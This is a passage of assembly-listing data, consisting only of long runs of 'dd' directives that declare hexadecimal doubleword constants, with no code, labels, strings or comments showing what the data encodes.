		dd 90D4823Bh, 0CF05BE64h, 6775ADEh, 0B7EAE80h, 70C5A15h
		dd 0CA3FEE87h, 70B526C4h, 8A2BE94Fh, 0F5ACFBFDh, 68097610h
		dd 52B01C1Fh, 77C97902h, 69D857C2h, 97EFCDF6h, 13AA5BA6h
		dd 0D623AAA6h, 3EA28D5Eh, 0AF65C4D2h, 0BCE59EE8h, 0BB53C752h
		dd 20DE7F71h, 112E2C7Bh, 30520B0Bh, 59E5DF31h, 0E6E45C93h
		dd 0E5E68C31h, 10505326h, 406F7A0Eh, 0C56CE935h, 0D06C95FEh
		dd 2B556876h, 1650601Dh, 574C8982h, 0A4B0B758h,	0B8E5EFE9h
		dd 0CC459EF4h, 0DA16DD39h, 8144184h, 56042E98h,	4A880864h
		dd 83E160DBh, 5F194DF7h, 8CC13D5Ah, 530326F2h, 5B6F2EFEh
		dd 5C4360BCh, 7F8DE90Eh, 8CEB8050h, 643D3C12h, 77F392F4h
		dd 0ECB35FF7h, 79A900C8h, 0E9556F3Ch, 90F854E7h, 314A4ADBh
		dd 47F3B4Fh, 9845E0BEh,	0D282B195h, 51B0E02Eh, 0E92BB506h
		dd 681A97Ch, 453657F7h,	80790C74h, 0F2F0BB25h, 0FFC15F00h
		dd 0F98F142Ch, 0CDBAB23Ah, 3A207366h, 12A5929Fh, 2DE8285Ah
		dd 53F0C069h, 0FE82B30Eh, 80C347CBh, 0C06EB26h,	0A19CE943h
		dd 1609C2A5h, 0D0638D32h, 0B3BC124Ah, 201F9B9h,	4E4CFDC3h
		dd 5F4AD53Ah, 0EF5F0804h, 0FA665C61h, 1FBB412Ah, 8322636Fh
		dd 4F586522h, 14F7B112h, 3A14D97Eh, 0A01F8F87h,	0E999C372h
		dd 0EAD05A61h, 4C82F22Dh, 65C936B5h, 2F027FC1h,	4DB2C4C0h
		dd 82196972h, 835C58A4h, 8E78B0BCh, 5FAA305Ah, 830F17CDh
		dd 48D58DCh, 53087FBh, 344002BAh, 6A124184h, 0BF570040h
		dd 1CBA77B9h, 76C9E7C1h, 340084DFh, 82CB601h, 2AC547F1h
		dd 801003B9h, 0D98006C1h, 289EF8E9h, 6141B03Ah,	0F6F379A6h
		dd 45530055h, 2E323352h, 0C0E36C64h, 56734441h,	0D495029h
		dd 0CE544E8Fh, 460A354Ch, 0DFE9B201h, 2368FEE8h, 6179A1Eh
		dd 8FE52F89h, 0AB94A81h, 0F2842510h, 421B489Bh,	11249D6Bh
		dd 711CF22h, 9E45BF08h,	3211E4E1h, 20F3129Fh, 0DBBA2A84h
		dd 75E54400h, 0C23293A0h, 7CFC0F33h, 38C0690Ch,	3D6E2DC8h
		dd 90018270h, 59C92E05h, 95D967BCh, 75D033C0h, 1C421D60h
		dd 916B40A9h, 0B28A0B16h, 980059E2h, 1FA6B8E8h,	0FC9BFB3Bh
		dd 0C5800742h, 7093F89Ch, 9D614E5Fh, 1072BF00h,	0F19976A0h
		dd 5A204D2h, 0C04DEC74h, 0BF706519h, 291ED300h,	84DAB007h
		dd 0CC1900C1h, 0E2E4C973h, 82FC3E63h, 0ECBDF600h, 62E1FBC3h
		dd 3115C03Fh, 5D3264D4h, 38D2E300h, 0A4CC6CFEh,	90093DEDh
		dd 0AD82D800h, 0C8B33291h, 0C2F09800h, 0B1E555D5h, 0EBF300DCh
		dd 0D30F52F1h, 0EE00FC9Ch, 0A272DDDh, 617D48A9h, 0EB51954h
		dd 0B20D80CBh, 416E3FE1h, 7F7EB4h, 9D78F18Ch, 4D67D1DDh
		dd 50BCE527h, 0E747003Fh, 30919E77h, 0FE0035C0h, 0B9660F7Fh
		dd 12EC737h, 84118101h,	49296427h, 0CEC708BFh, 68B75E03h
		dd 0FFFA9B0Bh, 0C51B3EA3h, 21E2C307h, 57C72460h, 347D005Fh
		dd 0A8F154B5h, 100F86F2h, 806D4253h, 2B336313h,	8B4D0098h
		dd 456E169Eh, 427974E4h, 28F99D1Eh, 3E9F1D83h, 0F240D587h
		dd 5E371829h, 0CCDB1CFCh, 10E3C0B1h, 7998E80Ah,	200B5F8h
		dd 1282E72Ch, 3D3F2B24h, 140572D2h, 0D109C1Fh, 804EFC46h
		dd 56C6268Dh, 325A479h,	0BEB7E0B1h, 40E53CB8h, 0F161DD96h
		dd 0AA010F24h, 69C45B3Ah
		dd 0A1FC1CF9h, 0CF640031h, 7D1AFB6Bh, 2F00930Eh, 0E649D6BFh
		dd 0A909F76h, 231C434h,	8B5382A8h, 96A091B8h, 4FA19B5Ch
		dd 72E26202h, 0A0B0D96Ch, 806A3B93h, 0D6CFA093h, 0EE5E03DDh
		dd 8934C5A8h, 0DC1E3DC9h, 6449C397h, 0B9D728F6h, 0EC4D6600h
		dd 0E0453A7Ch, 734488B9h, 0B6E65C77h, 0C9159760h, 603A096Ah
		dd 0D4D61117h, 0FC02871h, 0A6EDC2D3h, 0F8D70E47h, 0A914311Dh
		dd 75A559C0h, 0BE09DA69h, 169C64h, 0E163503Ah, 6F6D0D71h
		dd 0F4BE8DD4h, 0AB005F70h, 81F153E0h, 6E249FBDh, 0AF631DFDh
		dd 71E951BBh, 0C5C68006h, 9D7A864Fh, 0A7D8E13Bh, 0B5E70036h
		dd 39165EBFh, 6300E051h, 0D8D9C3F3h, 0FFFEB5Bh,	1C4E599h
		dd 16BC980Ch, 7A269600h, 6106FAB1h, 0C5771C2Eh,	4AF982EAh
		dd 860B58Ah, 0BB005A6Bh, 0F87B0764h, 0B18E88h, 4697C09Eh
		dd 0D3CAE50Ch, 0F767C500h, 536332D8h, 6B733BA3h, 8B579281h
		dd 600A1B10h, 0D007D0Eh, 0C939BB68h, 75CE7F5h, 1CAB8735h
		dd 90370B8h, 8926EE43h,	0A1F70FDh, 0C3701AC0h, 4DD040h
		dd 0B1CA49C8h, 0EDAD151Fh, 7427DDBCh, 0D6803F74h, 1D12E353h
		dd 650030A0h, 1BFA6ACEh, 36A604h, 5043485Fh, 3CF382F2h
		dd 0AA4BBB00h, 0EE87F775h, 52C20341h, 774E10C3h, 394069AAh
		dd 0E4495819h, 53B481CFh, 5410A9F0h, 2A006C43h,	0F774B555h
		dd 7A638Fh, 0F9F9602h, 31391E20h, 0B17C0900h, 10FEEC1Dh
		dd 7E2FFC23h, 61F7DE7h,	7633EF8Eh, 0D3E2903Dh, 73614C26h
		dd 640C303Eh, 792BD8Eh,	0B6A30AABh, 60164D9Ah, 1905B1ECh
		dd 0A73F97A9h, 5F7DEB90h, 3BD77E4h, 6F401087h, 0C179977Bh
		dd 91A64E14h, 19466170h, 0F4FC2F08h, 7EBE7D42h,	0B2580F48h
		dd 1220F684h, 0C3DD794Ch, 0A00E5B90h, 3C0E68Fh,	0D8370ED0h
		dd 1F1089FEh, 9D7DB98Ah, 910180C6h, 4B3FD1A4h, 192C7002h
		dd 44DB1CADh, 0D40902C4h, 193C3A3h, 3C408029h, 0D22A1Bh
		dd 5A40D3C1h, 7C0F1C9Eh, 2C039003h, 0B8A4543Eh,	0F56CB0h
		dd 0C23C388h, 18F9332h,	8C3D4F90h, 0E3628327h, 0C890F6BEh
		dd 436C3Dh, 0CA2EF7A7h,	0F4F85B32h, 36C8E700h, 771F678Fh
		dd 701000ECh, 3C77E40h,	0C9076C25h, 0CF3FBDEAh,	540F695h
		dd 0AB4BDDD9h, 0E063007Bh, 0F09969E5h, 9704A778h, 59B590C5h
		dd 1D830D84h, 7119C0BAh, 794359C0h, 2636EE2Ch, 0C1B64479h
		dd 20472671h, 0E700F3C9h, 3BDDC641h, 30BB8A54h,	55303096h
		dd 923B6B44h, 0D1DC01FBh, 746ED6E0h, 998FFC74h,	0E8169Ch
		dd 0B7278659h, 0EF0051DEh, 2989967Fh, 7BFDCB9h,	171D1CCh
		dd 15A06B74h, 6F0676F6h, 42D3A2C1h, 0AFEBCD91h,	9A790099h
		dd 1DAB63D9h, 8003DB0Bh, 0D649D7FCh, 0C9056F30h, 0DD4B8221h
		dd 390A4080h, 0B00C2425h, 0EE524090h, 97E4517Eh, 0BC2C8800h
		dd 9A0A697Ah, 0D0E60003h, 7B79B7DFh, 0C9C010F7h, 522393F3h
		dd 0EC5C00DDh, 2B9B1A09h, 0E591D54Ah, 482D9D07h, 0E4655872h
		dd 0D0CC4C67h, 0FB5A6A33h, 15BE7F07h, 0C95D7A49h, 0C0E755C4h
		dd 8E9A5F1Ch, 70284509h, 0DA05E9E0h, 0B4ADE959h, 690DF87h
		dd 0B8BAAh, 387B82E4h, 0E84D49B9h, 558E4100h, 0AC617668h
		dd 0F4F77EEh, 137E6C04h, 456DAD02h, 169FA340h, 32CD8E2Ch
		dd 0D4E11C09h, 7F01376h, 702582CFh, 0AC290E7Eh,	13F73F07h
		dd 0F1B19516h, 484B787h, 81CEB40Ch, 60E8B9B2h, 0EA005A60h
		dd 5C37D3ACh, 25EB2D0h,	0ABB3E393h, 0D2EA3018h,	85527280h
		dd 0B71758F4h, 0CB18DE02h, 0E4828B22h, 273000BEh, 24C42125h
		dd 923D81E1h, 0E6CC812Eh, 2DCE212h, 0F62069C8h,	58CBF8ABh
		dd 0ED00F9FAh, 90B8B1D4h, 0F10077BFh, 82411D4Dh, 3BDEDF03h
		dd 85CC52A2h, 0AE47B700h, 0B920281h, 9F02E873h,	0F9797B03h
		dd 16347620h, 224000E3h, 593CAC0Dh, 0FECA59h, 6233A305h
		dd 0FD6DCDh, 95088318h,	63D0A515h, 896CDC00h, 0CBAA1A9Ah
		dd 67D70754h, 8E19458Eh, 12F0A8BFh, 32B78506h, 0EAA0D854h
		dd 5C8B3AD0h, 3B9992BAh, 61097900h, 56D6DBh, 0CE3EBCF5h
		dd 0B4EF7C8h, 0F20B95BAh, 80670E21h, 0D9CACC65h, 0E23F45Ah
		dd 0B7538A8Fh, 1340DDC1h, 54797009h, 0AD4B42B8h, 0D8568F00h
		dd 968D68h, 5DD2A313h, 8EA570E0h, 6FACDE94h, 10830880h
		dd 5B342B2h, 0EA8BFB7Ch, 3A46235h, 6D12AE68h, 18D996C2h
		dd 4773AE24h, 6CB249AEh, 1441CB25h, 7C40BCC6h, 0B63C11B5h
		dd 609C033Ch, 671839DEh, 0F8C9F722h, 0A2211200h, 0E42B2C32h
		dd 0D443005Ch, 5ECE2FFBh, 487F6758h, 16E3D300h,	0E4EBFEEh
		dd 0EF710356h, 61834CC8h, 8AA5B2C0h, 0FD7FB400h, 0A4260195h
		dd 7BF702E2h, 0BEA0B654h, 0A28FB3C8h, 86B02000h, 0D9C4A689h
		dd 884E60C6h, 31427445h, 4469D105h, 0D856E63h, 0A039FB93h
		dd 7D65B4Fh, 5A75E546h,	30666059h, 9FF4705Fh, 652B025h
		dd 3219FEh, 0ECF2DDEEh,	0C2F464C7h, 4B00D57Eh, 9C1F3971h
		dd 48BCD7B3h, 57896CEEh, 15262920h, 0B30E1021h,	40895343h
		dd 276FDF5Eh, 0AAEF3156h, 0D8405127h, 22000FDBh, 41B1129Eh
		dd 1577855h, 85F576B3h,	65C043F0h, 0C435A6C4h, 35183426h
		dd 907A5Dh, 1A0E1BA6h, 189B2C93h, 56CDA800h, 6B3165D5h
		dd 2DF0006Ah, 0D709CCD9h, 0FD98F633h, 3E771200h, 53BB388Fh
		dd 16DF00F7h, 446B24D2h, 4098ADB1h, 7D362603h, 0C8DADCFFh
		dd 8B4BCBh, 9495755Ah, 1170A616h, 0E950D80Bh, 0E50D00F6h
		dd 63D1282h, 41883B21h,	2C02B2C0h, 3A246F1Bh, 0D9E40F9h
		dd 0D95A2630h, 2583499Ch, 8E06E7CEh, 87CA7963h,	39662E3Bh
		dd 5D728065h, 8EFE7CADh, 63E73Ch, 3ECC42EDh, 2823C79Ah
		dd 48B985E6h, 7F18403Bh, 2DFE40D5h, 755E3D00h, 89CEED7Eh
		dd 2C9700C5h, 0AE0C7CE5h, 0D307B788h, 55D6F1DCh, 0A88BBBh
		dd 1B1806F7h, 0F0260496h, 89BE6B1Fh, 0AA2D30E4h, 0CF37B900h
		dd 0F2D5A436h, 2A09670Fh, 0F0398715h, 77507FE6h, 0F184F401h
		dd 6551C142h, 0BBDE90E3h, 0C07ADEE2h, 0A8086671h, 0B813B0A9h
		dd 85007713h, 7BDA5855h, 9DC524EAh, 3492870h, 3F7F17AEh
		dd 0D474A811h, 51784B00h, 1CD4193Ch, 145F000Bh,	9CA2D2A6h
		dd 453BD029h, 4A5B8001h, 64D4574Ch, 777D015Ah, 3DAD1280h
		dd 0C9C07FF9h, 162D8FD3h, 4F892BDh, 0C0B525FDh,	0DC27941Fh
		dd 4ED5A100h, 0C3C2935Fh, 4D6A12B0h, 75C400F3h,	40EF86F6h
		dd 0DBA253F8h, 0FEB967C0h, 0DB351A00h, 134296ABh, 1414B059h
		dd 0A2BC6D1Dh, 0AFE75780h, 19B23DC2h, 80349469h, 0E2E1D519h
		dd 578C0433h, 0C0476C6Eh, 50C03D76h, 0D0FFBA09h, 715E00F7h
		dd 1CD141C2h, 31115DE5h, 24565B02h, 860067E5h, 373C2564h
		dd 0F298B7h, 244B2F4Ah,	475C5ACAh, 3101759Ch, 3E3363D3h
		dd 0C054D264h, 4FBF4341h, 8A05A47h, 647A52C2h, 3C7AEA09h
		dd 0FA0B5778h, 9F8B34D5h, 51BD8294h, 0A07852A4h, 37FB6805h
		dd 6CAC6642h, 6E2C1A0h,	0BDAF737h, 0C960F2E0h, 0A07EF397h
		dd 1ABD5434h, 7C174E3h,	0D4C708A6h, 0E623EA31h,	7181D141h
		dd 770F8BF6h, 2C8BD930h, 0E13E7595h, 0DB00E97Dh, 6010FFFDh
		dd 0FEB8CE49h, 6170FA2h, 0E081C503h, 0E0B088B5h, 0EA0F340Ch
		dd 40F82510h, 986CE433h, 0C4A10F42h, 48E34E77h,	0F4C04BC0h
		dd 0A4006D93h, 4A0A46D8h, 7423FEFh, 76DE4592h, 1213F03Ch
		dd 0D6006805h, 79F0D810h, 23E20Fh, 0EC73429Ah, 0AA185B56h
		dd 0C60B62F0h, 683347h
		dd 7934D7F9h, 960EA5Ah,	0EF90B0Fh, 848DE01h, 0E530D3E8h
		dd 516B2ED4h, 0CDCC13F2h, 8391AEE5h, 0B5F0044Ch, 73C2769Fh
		dd 69D80073h, 0F5C9469Ah, 1603B46Fh, 0AEC08158h, 0E8321870h
		dd 5E643D0Bh, 0C6ACDA00h, 5D3937AAh, 0B47A65h, 0DFA1A5B9h
		dd 0B3E9814Dh, 8B0C8560h, 7117BF10h, 20E7D57h, 19D28DC2h
		dd 7944E828h, 9F59AD00h, 0BD349D06h, 1FF7D97h, 864EE295h
		dd 501881CCh, 0B8943D5Dh, 2489AF00h, 88DE0443h,	838B0114h
		dd 34FCE1F5h, 0C2017B12h, 6319252h, 0C0711E50h,	34AE0E87h
		dd 58E085B4h, 0ECF368FFh, 0A9603006h, 2A2ED2Bh,	7D2CC12Eh
		dd 1944850Fh, 4BBF6603h, 0E310899Bh, 0F7A8848Ah, 172C49CCh
		dd 18C38088h, 1125E91Dh, 43EED1AEh, 0EC17BB0Fh,	3D9C8774h
		dd 2F415410h, 0B75B7F53h, 5C00EFF2h, 0B6EF30C1h, 169BA281h
		dd 3B28D8h, 803F9054h, 6001EB8Ch, 1E6E5E97h, 67C12D34h
		dd 7C6F0DE0h, 0EAFE3366h, 60A1FF8Eh, 9F6AD001h,	700DC70Ch
		dd 0E8CA2169h, 96D43044h, 31D5E011h, 9FE5FA10h,	930F3867h
		dd 1101BB4Ah, 701F3D17h, 8184071Ch, 0C6A71B68h,	7E0211C3h
		dd 83A69629h, 54FE00F3h, 0E721DDA1h, 486119EDh,	2111020Bh
		dd 0D262697Eh, 5BE35090h, 76D40711h, 941CED0Fh,	8E9D75A0h
		dd 0E70DF13Bh, 0E0851F87h, 506CDA30h, 6F88405h,	5CE6B1C1h
		dd 0E40F1008h, 0A19AFE66h, 0BB956CA6h, 0F2467960h, 0EAA006FDh
		dd 60F1139Eh, 763E26F6h, 78BB3E9Dh, 70C6D47Ch, 28C1FFE6h
		dd 8A2DDBh, 0ECB2875Ch,	12C5D50Ah, 0E919AC1Ch, 80069649h
		dd 0F0EE74D1h, 0F580C721h, 0C9998E0Dh, 0C3730E9h, 0B17F68C3h
		dd 0D4008579h, 7887E8C0h, 909F60CEh, 20B422BBh,	400ACF2h
		dd 0FE69944Ch, 1C90931Fh, 0C0EC515Eh, 0C9E5E280h, 0C73B3C1Eh
		dd 80853C52h, 50DCB386h, 337889DBh, 0E150A3BEh,	406B54E1h
		dd 0FE76568Ah, 0A00E9C30h, 0C2787F0h, 0EF89A677h, 1A0950E9h
		dd 6E1F62h, 5B6CF778h, 4964803h, 0E9A2F040h, 3A61FEDCh
		dd 78004F8Fh, 0E442BD58h, 70266F3Ch, 732409D5h,	41B7ED07h
		dd 43C13380h, 76E83C78h, 5750D307h, 0BE5980ACh,	353EE76Eh
		dd 0E1BA93h, 46E09F4Eh,	0C74771h, 0CFFE6256h, 0E1A8BC4Ah
		dd 4C734800h, 416446E3h, 0B73805EAh, 28A1DE4Dh,	9BB0B438h
		dd 4AE97278h, 8B19C18h,	71E1D970h, 98E678F0h, 54E401BBh
		dd 37C8FCB9h, 53C1F0BDh, 0EAAE4E00h, 0C5AB7134h, 7A1F055h
		dd 0A7C249F0h, 7686ABEh, 0E3C4515Dh, 39414E62h,	4BEE298h
		dd 0A606C518h, 260110h,	0AB8F040Fh, 862D639Bh, 0C800E4F2h
		dd 1585D32Eh, 30AE541Ch, 0F830A2E0h, 2B63A4A3h,	0B9914819h
		dd 8402004h, 4E4F79h, 0B35AF569h, 4D517695h, 772C3450h
		dd 0DF949B05h, 0C60AB85h, 858F03D8h, 3096288Ch,	0F5680D11h
		dd 9058B461h, 0FD813BA0h, 86013525h, 79465E40h,	407E66E8h
		dd 0B83459DCh, 780228E0h, 8474485Eh, 0F73B2058h, 97E27768h
		dd 0E7F11DB4h, 62B3B04Eh, 91360EE0h, 1DA1761Eh,	0CC417B12h
		dd 867C9DFBh, 21D12880h, 1F512ABCh, 0C7DF328h, 0F4EB4E09h
		dd 30E427AFh, 16A08B90h, 335F0754h, 41E19751h, 828C0B28h
		dd 2587FE19h, 99FC4819h, 99D001Bh, 67F3E423h, 730A6563h
		dd 0C3BD268h, 914780Fh,	6714A2E9h, 2858800Dh, 53015511h
		dd 0CCA264A8h, 97413320h, 8C395563h, 120BBC02h,	9CF0B80Eh
		dd 0CE80E7BFh, 0A16E0542h, 69524FF0h, 0A051F84Ch, 98A1E2E0h
		dd 4830425Ch, 0C3C2248h, 51E605FBh, 0F4290BC1h,	1A918C80h
		dd 6FA0E446h, 2A3AD81Fh, 98696CD3h, 90C8847Dh, 9049459Fh
		dd 144D2164h, 0E2193D61h, 884C9BA5h, 48E0C4C8h,	16648278h
		dd 557B7710h, 408A940Ch, 84E0A8B5h, 8CE5447Dh, 148AAC0Ch
		dd 996A6880h, 261AC20Ch, 11428C81h, 0A804625Dh,	882E5374h
		dd 0B8E0AE31h, 0AFF441FCh, 0BAFB1303h, 24488E7Eh, 609073A3h
		dd 9117B62Dh, 427C9128h, 99418D80h, 50910C18h, 13D98C19h
		dd 3E656F68h, 0B489C40Ch, 3B12D17Ch, 0A832A965h, 518028E8h
		dd 0C99A327h, 8C90970Ah, 9C6A5D12h, 8F52888h, 0B14CD46Ch
		dd 0E4A0934Eh, 97B2C50h, 87621E61h, 8D3F1424h, 1A746260h
		dd 0BE61AC37h, 1892350h, 8438E7E2h, 234AEDE4h, 0F1816DA8h
		dd 14B432CAh, 95D86415h, 58937C30h, 4C523065h, 0B9882C6Ah
		dd 15BC2D7h, 0CECC837h,	0CA10AA35h, 77554900h, 344E8E54h
		dd 181C6A01h, 0EBCC0878h, 3D44DC28h, 6013E636h,	466018E8h
		dd 7C31A155h, 9598706Eh, 0ADED22F2h, 0D7089C08h, 3CD33D03h
		dd 37908304h, 0E814797Ah, 11A43C70h, 871447C6h,	58C89627h
		dd 7523D9E2h, 809C261h,	6A035B00h, 5D9E015Ah, 0E6B3A561h
		dd 0F3CCE04Eh, 0C11F4FF8h, 0B40A645Ch, 0BE3C14A1h, 93E81752h
		dd 82602400h, 91F17D39h, 8171624Ch, 730C4C60h, 301AE488h
		dd 7384F5Eh, 0F4A274EEh, 21250460h, 20AB9140h, 0FB09221Ah
		dd 2666043h, 20528E10h,	58C895C2h, 84200653h, 3B601F6Bh
		dd 0DA31B9DEh, 38757877h, 30DA4E4h, 65E85EC4h, 189BF524h
		dd 0CF004078h, 879F862Ah, 92A56046h, 0BD71ACh, 98512C6Ah
		dd 32E4FB29h, 0B806E274h, 0AA60FC9Ah, 0C2F30029h, 7749C50Dh
		dd 6CE0D8D0h, 5B46500h,	2E815652h, 457F4A43h, 211AF54Ch
		dd 58ECBE8h, 1AB0C00Eh,	60006018h, 887349C6h, 115F9801h
		dd 99550157h, 9189F980h, 80BA219Fh, 9D8F8A11h, 850F5506h
		dd 31C7DFA4h, 0C007FD01h, 0C029AC45h, 700792F4h, 940AEE15h
		dd 4AB81330h, 0FAED189Eh, 1DC9D118h, 500989Ah, 623485AEh
		dd 0BFCBA7h, 6F5A779Ah,	63D62A0Dh, 0D7A21302h, 72651D51h
		dd 0A080E64h, 12521FA3h, 14700300h, 2100DFD1h, 9CC5E0F1h
		dd 0D412B9Eh, 1161505Eh, 30D8E079h, 8E663300h, 0B95F8465h
		dd 3F8C008Bh, 143BBE45h, 7E60C57Fh, 130E8269h, 787500F8h
		dd 70182FD1h, 2E004F83h, 0D9566817h, 825222h, 0A10B370Ch
		dd 13997AD6h, 0B0A8E23Ch, 0E6D791ECh, 0B36E0323h, 0CAF5DC67h
		dd 643088E8h, 83FFC4A0h, 0E0F630C4h, 0E0CD4E3h,	811176C5h
		dd 18B5507h, 3405396Dh,	0A0998800h, 0E74A594h, 4E2D7067h
		dd 922A6981h, 0DF64E882h, 5B07760Ah, 57049066h,	9E40E1F6h
		dd 656968D2h, 2420C448h, 9398247Dh, 0CAA021h, 0F63FD068h
		dd 741B9C8Dh, 0A96430E9h, 82DF2E10h, 0B6E8B851h, 8C650068h
		dd 0A2640C05h, 0FB00797Bh, 0F5167A48h, 758E1C4Fh, 51AC35EBh
		dd 50A480D8h, 0E9C0A860h, 0D21F6801h, 0B862662Ah, 1660C122h
		dd 1F60E721h, 302E4C18h, 2F57D10h, 0D79B30D0h, 0AE004076h
		dd 597E826h, 1D4194E0h,	739C2066h, 9863D07Eh, 90F6B0h
		dd 131C20E1h, 2C22F41Fh, 8B3C067Fh, 9C3E0099h, 54811B76h
		dd 67831282h, 0E0D414F5h, 446F5F00h, 0FCB9BBFBh, 54288710h
		dd 6B97A103h, 98130CFDh, 6C035FE0h, 888222E8h, 0A575B52h
		dd 5150704Eh, 805811C4h, 656A68CBh, 95448CCCh, 68C3009Fh
		dd 0CF429487h, 2FEC5D69h, 37792465h, 8736800h, 64AE39h
		dd 0CC5E16A6h, 0C65366B6h, 4652C909h, 0CE3400DCh, 0B4F0ACAh
		dd 0FA2DAF51h, 53C98C22h, 619C10D1h, 8CC8EC0Fh,	50671921h
		dd 17B797FBh, 1443F0h, 0D40DCBBAh, 2833F65Eh, 5452A5FAh
		dd 91444831h, 1D6E1750h, 7F012224h, 20D36AFh, 4BE0676Fh
		dd 1D11399h, 0C83804E5h, 0CAD88057h, 8D011D44h,	0D76664D6h
		dd 108C59D2h, 0C349B060h
		dd 3A5B900h, 0F36AFFD9h, 77B328D2h, 6C4E4490h, 59D05817h
		dd 0C9CF1805h, 5B2E5000h, 0EF974433h, 2BA9EC07h, 539521C0h
		dd 0FF8A33h, 0E1096EA7h, 0CCA24CACh, 2D6F6902h,	437FA80Bh
		dd 0AE0DC03Ch, 33CB8FAh, 887ED722h, 0C8D68BB7h,	2054603Dh
		dd 21872843h, 7B1C904Ch, 67320E01h, 0C4943A05h,	0BC04A848h
		dd 0D1C52687h, 20299964h, 9777A374h, 0E4FB6E80h, 81C52A5Fh
		dd 694400D8h, 0FCF088E4h, 0A5023479h, 213B9891h, 78F46411h
		dd 6B12499h, 0A77C8050h, 64574AF9h, 78CAAE26h, 5F019420h
		dd 5747D6Ch, 0ED045D7h,	3044006Eh, 0E93DA1DCh, 831F4F54h
		dd 650541D9h, 9C90E205h, 6063D330h, 0F95DA08Fh,	6C029FD7h
		dd 486F245Ch, 0ADF84173h, 1F086718h, 0C45A2AD1h, 5FE2401Ah
		dd 0AD4B81Fh, 0FAEED281h, 206016E0h, 0A019A51Ch, 0AD7C2A00h
		dd 66F9C1BEh, 829F00CAh, 81EAAEA4h, 0C4986CD1h,	48E5B73Bh
		dd 0F9440078h, 0E037A6DEh, 0BFD313DBh, 0A2DC411Dh, 42902C40h
		dd 88CC5E94h, 780B594Fh, 908831E5h, 1151B810h, 33EDD600h
		dd 9E01C93Ah, 0B4FD5918h, 40901B13h, 6FCEF998h,	53649466h
		dd 0B9417B60h, 0CCBD4F4Ah, 0B00077A9h, 33AFC82Eh, 269759FFh
		dd 0DE949498h, 0F6E3A909h, 68E8208Fh, 4F7AD9h, 35C10E21h
		dd 40AE3D62h, 0FAE42D05h, 8680933Ah, 249600Fh, 0CFC580FCh
		dd 74606842h, 2D1D4ED3h, 8A5814B8h, 28258751h, 0C2FC3052h
		dd 0F46533A8h, 45612C40h, 88F04F4Ch, 1F6DC053h,	0CA212AD7h
		dd 159180h, 241F65ECh, 636E630h, 5C3D2F2Eh, 514648BBh
		dd 0CD0ABF58h, 4424BA2Ah, 63E6401Dh, 0B2F31Fh, 0B098D246h
		dd 2ABB01CCh, 86EFD312h, 26565000h, 253B9AD8h, 9038AF3Dh
		dd 25186591h, 49E01FDEh, 9637136Dh, 0D3FC499Fh,	3FD1E807h
		dd 5A47D00h, 0C800F046h, 7758045Fh, 0D492D47Bh,	0C6265848h
		dd 335CC038h, 70469743h, 54F42922h, 6D913300h, 63DCE8Ch
		dd 2AA909A6h, 0FC209FABh, 89F8F569h, 0A30698DFh, 7C187C67h
		dd 992BFCE5h, 0A15C0E20h, 0F8AB20ABh, 1691980Fh, 58189E7Bh
		dd 793B6F18h, 53061358h, 0FAC00703h, 120C40C8h,	0B94C9840h
		dd 8C27BC98h, 5C06E703h, 0E7488A5Eh, 380B3020h,	8B949998h
		dd 380493C0h, 0CD6F4056h, 318DA31Eh, 8030023Eh,	0BA5C0379h
		dd 2AECA0A2h, 0C493B39Bh, 8E53FB18h, 0C116880Ch, 6D387FEDh
		dd 840C006Ch, 32B03DE2h, 0D5FA00A2h, 6758C8CDh,	2641922Dh
		dd 0A0388C40h, 0ABC30F5Ah, 0C03275FBh, 0D83C9940h, 0E9F42100h
		dd 5C07BAF9h, 6FA227DDh, 0E7C33830h, 0FC7DF30Ch, 7D4E38E1h
		dd 61510172h, 1E793867h, 632074E2h, 9A71920h, 7549DFDh
		dd 0CBD240C0h, 3BD15909h, 78E8601Dh, 0AE251435h, 0B5F120C3h
		dd 48421905h, 335830CAh, 50975F16h, 0F8908038h,	0D5770933h
		dd 5D0067B4h, 798A49CBh, 7E2058B0h, 2C575818h, 0F57510h
		dd 0E34321D1h, 283860FBh, 0B47AEBh, 0BC42B3AFh,	2E35E74Ah
		dd 3EA733Bh, 349843C2h,	33D9A0C0h, 0E68A00C1h, 7DE87239h
		dd 471F6FEEh, 303101D5h, 0E0F42E46h, 9CC20042h,	71B749E4h
		dd 48E84B98h, 331128D8h, 3707CBDh, 0DE457347h, 0E3E02E4Ch
		dd 9E1E7246h, 5D1F3ADAh, 44C23401h, 4EE037D5h, 3B75F0EAh
		dd 7C2ED970h, 0D7044884h, 0C75A09DCh, 0B4007337h, 0F0747C38h
		dd 0C5184452h, 0E13ECAh, 0BFC0343Ch, 5459D449h,	40F5C840h
		dd 2510FD1Ah, 4D05B786h, 0D3A5E02Dh, 0A7C92E38h, 0E410619Bh
		dd 5F02D277h, 3BE2569h,	4CE46096h, 733806AFh, 8171611Eh
		dd 9AA39B00h, 4930D02Dh, 0B57009E2h, 0D8E622B3h, 0DE01FAE4h
		dd 25FE0B93h, 18822426h, 0ABB4D32Eh, 0E04848C9h, 81DDA803h
		dd 0CE4978C3h, 0B8D80DFCh, 0E108E2DEh, 38798CE0h, 5BFBC05Bh
		dd 0CF2831D8h, 0BCCDC49h, 9E7C8B56h, 98E87D0Fh,	2D6B9B10h
		dd 0FC807B93h, 484665A1h, 0C968FC62h, 60F50358h, 0B8BF822h
		dd 2F5475FDh, 8859C868h, 9C9C0082h, 0CA377D6Bh,	42D43078h
		dd 8C94F0A4h, 3BC20308h, 8105F30Eh, 0B5DF7A33h,	8CF6880Ah
		dd 0F3564E82h, 8050E060h, 0D0514ACAh, 54612150h, 6EA2C507h
		dd 963F6853h, 8FA5F422h, 1C041248h, 28984F79h, 5E6491E1h
		dd 13597160h, 0F87E382Dh, 3DE83902h, 0BCE00681h, 0D452306Eh
		dd 9C7DC14Ah, 45BD3703h, 0C2BB42EAh, 5878CCD3h,	0C00B5040h
		dd 540FDE73h, 5DE59881h, 0BD4ED04Fh, 1BF320C0h,	0A60582E9h
		dd 255E0144h, 0C41A4B99h, 4B0C271h, 5D7065C6h, 400C1953h
		dd 0B71F5708h, 8C22E041h, 93ED2974h, 10A71F08h,	0CE0FDFE2h
		dd 0A0158AE1h, 61504074h, 0D09109CAh, 657323E4h, 78A22122h
		dd 1930ADDDh, 0D2F9210Dh, 9BE7441Ch, 91D781CEh,	109F0891h
		dd 6170401Eh, 9B118640h, 74147C9Ch, 850C3661h, 8C642EE6h
		dd 91ED5001h, 28AFB4ABh, 184A9CABh, 0E0867CD0h,	0E499309Eh
		dd 0E612E309h, 0E848E524h, 0EA22E791h, 89ECE944h, 24EE12EBh
		dd 919048EDh, 1923E8Fh,	0CAAE66A9h, 0D0C86254h,	0A2C1C6E5h
